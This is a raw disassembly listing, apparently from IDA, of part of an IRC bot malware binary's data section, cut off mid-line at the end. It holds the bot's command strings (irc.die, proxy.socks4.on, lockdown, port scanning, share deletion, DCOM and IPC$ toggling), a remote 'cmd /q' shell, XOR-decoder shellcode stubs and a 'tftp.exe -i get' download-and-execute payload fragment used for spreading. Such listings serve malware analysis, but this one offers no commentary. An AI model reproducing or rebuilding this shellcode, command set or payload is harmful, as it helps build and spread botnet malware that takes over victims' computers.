2E2E1Fh ; DATA XREF: sub_40EE72+10C2o dword_438334 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o dword_438344 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo align 4 dword_438368 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o ; sub_40EE72+1097o ... align 10h aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo align 4 aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o align 10h aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o align 10h aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o align 4 aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do align 10h aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo align 10h asc_438420: ; DATA XREF: sub_40EE72+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do align 10h aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o align 10h aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o align 10h aC_0: ; DATA XREF: sub_40EE72+B19o unicode 0, <c>,0 dword_438464 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_4384A4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_4384E4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_438528 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo align 10h dword_438560 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_4385B0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+984o ; sub_40EE72+4ABEo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_4385F8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE72+973o dd 0A0Dh dword_438610 dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o align 4 dword_438634 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE72+8DCo dd 0D017325h, 0Ah dword_438650 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo dword_43865C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o align 10h dword_4386A0 dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo dword_4386A8 dd 323333h ; DATA XREF: sub_40EE72+651o ; sub_40EE72+B4Fo ... dword_4386AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_4386DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EE72+574o aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o ; sub_40EE72+5EFo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo align 10h aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o ; sub_40EE72+613o dword_438738 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+355o ; sub_40EE72+5FF4o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do ; sub_40EE72+4EB7o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EE72+262o a@: ; DATA XREF: sub_40EE72+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao a005 db '005',0 ; DATA XREF: sub_40EE72+215o a001 db '001',0 ; DATA XREF: sub_40EE72+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o ; sub_40EE72+3B7o ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o align 4 asc_4387B4: ; DATA XREF: sub_40EE72+19Ao ; sub_40EE72+60FBo unicode 0, <!>,0 asc_4387B8 db ' :',0 ; DATA XREF: sub_40EE72+86o ; sub_40EE72:loc_40FA19o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o align 4 unk_4387C8 db 2 ; DATA XREF: sub_41533B:loc_4153C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 10h unk_438800 db 2 ; DATA XREF: sub_41533B+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_438838 db 2 ; DATA XREF: sub_41533B+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_43886C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415669o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_4388A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415642o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 10h dword_4388E0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415622o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o align 4 dword_43892C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415561o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_438968 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415685:loc_4156CAo dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_4389A0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156DF+1Bo dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0 aConst db 'const',0 align 4 dd 0 dword_438BAC dd 1 ; DATA XREF: sub_415D01+7o off_438BB0 dd offset sub_415996 ; DATA XREF: sub_415D01+49r aLetter db 'letter',0 align 10h dd 2, 4159F4h, 706D6F63h, 2 dup(0) dd 3, 415A41h, 6E756F63h, 797274h, 0 dd 4, 415ADFh, 736Fh, 2 dup(0) dd 5, 415B54h dword_438C04 dd 69257325h, 0 ; DATA XREF: sub_415996+40o ; ___:00415AC0o ... byte_438C0C db 50h ; DATA XREF: ___:00415A63o ; ___:00415A70r db 43h, 2 dup(0) dword_438C10 dd 7C7325h ; DATA XREF: ___:00415B0Eo ; sub_415D01+39o dword_438C14 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o dword_438C1C dd 334B32h ; DATA XREF: ___:00415C08o dword_438C20 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao dword_438C28 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co ; sub_415C5E+57o unk_438C2C db 2 ; DATA XREF: sub_415D6A+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 db 2 db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_438CA0 dd offset dword_438CD8 ; DATA XREF: sub_415F88+1B3o ; sub_4162AC+17Ao align 8 dd offset dword_438CD0 align 10h off_438CB0 dd offset dword_438CCC ; DATA XREF: sub_4162AC+1E3o dd offset dword_438CC8 dd offset dword_438CC4 dd offset dword_438CC0 dword_438CC0 dd 5C3A44h ; DATA XREF: sub_415F88+217o ; ___:00438CBCo dword_438CC4 dd 2444h ; DATA XREF: ___:00438CB8o dword_438CC8 dd 5C3A43h ; DATA XREF: ___:00438CB4o dword_438CCC dd 2443h ; DATA XREF: ___:off_438CB0o dword_438CD0 dd 494D4441h, 244Eh ; DATA XREF: ___:00438CA8o dword_438CD8 dd 24435049h, 0 ; DATA XREF: ___:off_438CA0o unk_438CE0 db 2 ; DATA XREF: sub_415F88+2E5o ; sub_4162AC+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_438D20 db 2 ; DATA XREF: sub_415F88+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_438D58 db 2 ; DATA XREF: sub_415F88:loc_4161EAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_438D94 db 2 ; DATA XREF: sub_415F88+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_438DC8 db 2 ; DATA XREF: sub_415F88:loc_416157o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_438E04 db 2 ; DATA XREF: sub_415F88+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_438E38 db 2 ; DATA XREF: sub_415F88:loc_4160BAo ; sub_4162AC:loc_4163DAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_438E78 db 2 ; DATA XREF: sub_415F88:loc_4160B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_438EC4 db 2 ; DATA XREF: sub_415F88:loc_416095o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_438F08 db 2 ; DATA XREF: sub_415F88+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo ; sub_4162AC+EDo align 4 unk_438F68 db 2 ; DATA XREF: sub_415F88+91o ; sub_4162AC+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_438FA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F88:loc_415FF5o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_438FD4 db 2 ; DATA XREF: sub_415F88+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o ; sub_4162AC+54o align 4 word_439014 dw 4Eh ; DATA XREF: sub_415F88+38r align 4 unk_439018 db 2 ; DATA XREF: sub_4162AC+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o unk_439058 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo ; sub_4162AC:loc_41651Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_439090 db 2 ; DATA XREF: sub_4162AC+198o ; sub_4162AC+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_4390C0 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_43910C db 2 ; DATA XREF: sub_4162AC:loc_4163B5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_439150 db 2 ; DATA XREF: sub_4162AC+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43919C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4162AC:loc_416319o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_4391C8 db 2 ; DATA XREF: sub_4162AC+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4391FC dw 59h ; DATA XREF: sub_4162AC+38r align 10h dword_439200 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_439244 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+59o ; sub_4165C6+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_43929C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4392D4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_439324 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_439374 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416810+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co align 10h dword_4393C0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168E9+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_43940C: ; DATA XREF: sub_416C55+C4o jmp short loc_439410 ; --------------------------------------------------------------------------- loc_43940E: ; CODE XREF: ___:loc_439410p jmp short loc_439415 ; --------------------------------------------------------------------------- loc_439410: ; CODE XREF: ___:loc_43940Cj call loc_43940E loc_439415: ; CODE XREF: ___:loc_43940Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_43941A dw 0FFFFh ; DATA XREF: sub_416C55+CCw db 80h, 73h, 0Eh byte_43941F db 0FFh ; DATA XREF: sub_416C55+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_439424: ; DATA XREF: sub_416C55+A2o jmp short loc_439428 ; --------------------------------------------------------------------------- loc_439426: ; CODE XREF: ___:loc_439428p jmp short loc_43942D ; --------------------------------------------------------------------------- loc_439428: ; CODE XREF: ___:loc_439424j call loc_439426 loc_43942D: ; CODE XREF: ___:loc_439426j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_439431 db 0FFh ; DATA XREF: sub_416C55+AAw dw 7380h db 0Ch byte_439435 db 0FFh ; DATA XREF: sub_416C55+B0w dw 0E243h dd 0F9h dword_43943C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ADE+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4394A0 dd 12h ; DATA XREF: sub_416ADE+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o aJ db 'j',0 db 0E8h dword_4394B9 dd 17h ; DATA XREF: sub_416ADE+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_4394C0 retn ; --------------------------------------------------------------------------- byte_4394C0 db 0E8h ; CODE XREF: ___:004394BDj dword_4394C1 dd 1 ; DATA XREF: sub_416ADE+45w byte_4394C5 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o dd 7E8h db 0, 0Fh, 84h dword_4394CF dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o dword_439550 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ... align 10h dword_439560 dd 173Fh ; DATA XREF: sub_417CA4+Dr dd 9875h, 9873h off_43956C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r dd offset nullsub_2 dd offset nullsub_2 dword_439578 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr dword_43957C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o ; sub_418276+2o off_439590 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr dword_439594 dd 2 ; DATA XREF: sub_41F84C+Er ; sub_41F885+46r ... off_439598 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr ; sub_419E38+457r ; "(null)" off_43959C dd offset aNull ; DATA XREF: sub_419E38+259r ; "(null)" off_4395A0 dd offset word_4395AA ; DATA XREF: sub_417794+23r ; sub_417794:loc_4177F5r ... off_4395A4 dd offset word_4395AA ; DATA XREF: sub_422EB1+18r db 2 dup(0) word_4395AA dw 20h ; DATA XREF: sub_42102E+18r ; ___:off_4395A0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4397AC dd 1 ; DATA XREF: 